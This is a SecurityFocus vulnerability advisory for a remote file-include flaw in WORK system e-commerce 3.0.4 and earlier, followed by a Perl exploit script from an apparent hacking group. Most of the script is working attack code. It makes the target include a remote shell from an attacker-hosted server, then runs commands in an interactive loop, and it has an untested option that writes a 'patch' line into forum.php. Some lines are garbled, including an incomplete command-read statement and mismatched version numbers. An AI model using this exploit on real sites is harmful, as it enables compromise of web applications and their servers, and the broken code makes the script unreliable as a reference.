source: https://www.securityfocus.com/bid/21580/info WORK system e-commerce is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. WORK system e-commerce 3.0.4 and prior versions are vulnerable. #!/usr/bin/perl # worksystem => Remote File Include Vulnerability Exploit # Script.............. : WORK system e-commerce # Expl0iter.... : the_Edit0r # Location .......... : Iran # Class.............. : Remote # Original Advisory : http://Www.Xmors.com ( Pablic ) http://Www.Xmors.net (pirv8) # We ArE : Scorpiunix , KAMY4r , Sh3ll , SilliCONIC , Zer0.C0d3r # D3vil_B0y_ir , Tornado , DarkAngel , Behbood # ; while ($cmd !~ "exit") { $xpl = LWP::UserAgent->new() or die; $req = HTTP::Request->new(GET=>$target.$file.$shellsite.'?&'.$shellcmd.'='.$cmd) or die("\n\n Failed to connect."); $res = $xpl->request($req); $r = $res->content; $r =~ tr/[\n]/[ê]/; if (@ARGV[4] eq "-r") { print $r; } elsif (@ARGV[5] eq "-p") { # if not working change cmd variable to null and apply patch manually. $cmd = "echo if(basename(__FILE__) == basename(\$_SERVER['PHP_SELF'])) die(); >> forum.php"; print q { !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !! Patch Applied !! !! Code added to forum.php: !! !! if(basename(__FILE__) == basename($_SERVER['PHP_SELF'])) !! !! die(); !! !! !! !! NOTE: Adding patch function has not been tested. If does not complie or !! !! there is an error, simply make cmd = null and add the patch code to !! !! forum.php !! !! !! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! } } else { print "[cmd]\$"; $cmd = ; } } sub header() { print q { ................................................................ .. .. .. worksystem <= 3.0.1 Remote File Include Exploit .. .. .. ................................................................ .. .. .. Xmors NetWork Security TeaM .. .. Expl0iter : the_Edit0r .. .. .. ................................................................ .. .. .. Www.Xmors.coM (Pablic) .. .. Www.Xmors.neT ( Pirv8) .. ................................................................ <-r> <-p> - Path to target eg: www.SiteName.com - Path to shell eg: www.Sh3llserver.com/sh3ll.txt - Shell command variable name eg: cmd - Show output from shell

- Patch forum.php Example perl Xmors.pl http://SiteName http://Sh3llserver/sh3ll.txt cmd -r -p }; exit(); }

Query Builder